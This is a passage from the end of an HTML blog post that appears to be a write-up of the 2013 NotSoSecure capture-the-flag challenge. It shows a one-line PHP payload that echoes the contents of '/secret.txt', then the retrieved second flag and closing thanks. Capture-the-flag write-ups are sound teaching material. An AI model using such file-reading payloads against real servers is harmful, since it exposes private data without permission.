line-height: 1.4em; margin-bottom: 9px; padding: 8.5px; white-space: pre-wrap; word-break: break-all; word-wrap: break-word;"><code class="php" style="background-color: transparent; border-bottom-left-radius: 3px; border-bottom-right-radius: 3px; border-top-left-radius: 3px; border-top-right-radius: 3px; border: 0px; color: inherit; font-family: Menlo, Monaco, 'Courier New', monospace; padding: 0px;"><span class="cp" style="color: #8f5902; font-style: italic;"><?php</span> <span class="k" style="color: #204a87; font-weight: bold;">echo</span> <span class="nb" style="color: #204a87;">file_get_contents</span><span class="p" style="color: black; font-weight: bold;">(</span><span class="s1" style="color: #4e9a06;">'/secret.txt'</span><span class="p" style="color: black; font-weight: bold;">);</span> </code></pre> </div> <div style="background-color: white; color: #333333; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 18px; margin-bottom: 9px;"> We opened the URL <code style="background-color: #f7f7f9; border-bottom-left-radius: 3px; border-bottom-right-radius: 3px; border-top-left-radius: 3px; border-top-right-radius: 3px; border: 1px solid rgb(225, 225, 232); color: #dd1144; font-family: Menlo, Monaco, 'Courier New', monospace; font-size: 12px; padding: 3px 4px;">http://ctf.notsosecure.com/~temp123/</code> and there it was, the flag.</div> <pre style="background-color: #fafafa; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; border: 1px solid rgba(0, 0, 0, 0.14902); color: #333333; font-family: InconsolataMedium, Monaco, 'Courier New', monospace; font-size: 12px; line-height: 1.4em; margin-bottom: 9px; padding: 8.5px; white-space: pre-wrap; word-break: break-all; word-wrap: break-word;"><code style="background-color: transparent; border-bottom-left-radius: 3px; border-bottom-right-radius: 3px; border-top-left-radius: 3px; border-top-right-radius: 3px; border: 0px; color: inherit; font-family: Menlo, Monaco, 'Courier New', monospace; padding: 0px;">Well done, 2nd Flag is 128738213812990. email both the flags to ctf@notsosecure.com [...]</code></pre> <div style="background-color: white; color: #333333; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 18px; text-align: center;"> <img alt="youareadmin" height="345" src="http://www.gilgalab.com.br/assets/images/27-oct-2013/flag2.png" style="border: 0px; height: auto; max-width: 100%;" width="552" /></div> <br style="background-color: white; color: #333333; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 18px;" /> <div style="background-color: white; color: #333333; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 18px; margin-bottom: 9px;"> We had finally reached the goal of our quest. It was a pleasant challenge!</div> <div style="background-color: white; color: #333333; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 18px; margin-bottom: 9px;"> Thanks to SQLi Labs and NotSoSecure for all the fun.</div> <div style="background-color: white; color: #333333; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 18px; margin-bottom: 9px;"> See you next time!</div>

NotSoSecure CTF Writeup 2013

First flag In the mail containing the instructions to start the CTF, the following URL was supplied: http://ctf.notsosecure.com/7136721...

Read more »